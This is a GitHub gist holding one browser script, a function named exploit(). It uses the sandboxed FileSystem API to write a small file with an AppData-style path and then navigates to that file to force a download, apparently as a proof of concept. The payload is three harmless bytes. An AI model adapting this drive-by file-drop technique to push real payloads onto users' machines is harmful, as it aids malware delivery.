Skip to content

Instantly share code, notes, and snippets.

@codingJWilliams
Last active July 12, 2017 15:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save codingJWilliams/7e19760b759b81912f90bd82dbd050e1 to your computer and use it in GitHub Desktop.
Save codingJWilliams/7e19760b759b81912f90bd82dbd050e1 to your computer and use it in GitHub Desktop.
<script>
function exploit(){
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
window.requestFileSystem(window.TEMPORARY, 1024*1024, function(fs) {
fs.root.getFile('%appdata%\\Roaming\\test.txt', {create: true}, function(fileEntry) { // test.bin is filename
fileEntry.createWriter(function(fileWriter) {
var arr = new Uint8Array(3); // data length
arr[0] = 97; // byte data; these are codes for 'abc'
arr[1] = 98;
arr[2] = 99;
var blob = new Blob([arr]);
fileWriter.addEventListener("writeend", function() {
// navigate to file, will download
location.href = fileEntry.toURL();
}, false);
fileWriter.write(blob);
}, function() {});
}, function() {});
}, function() {});}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment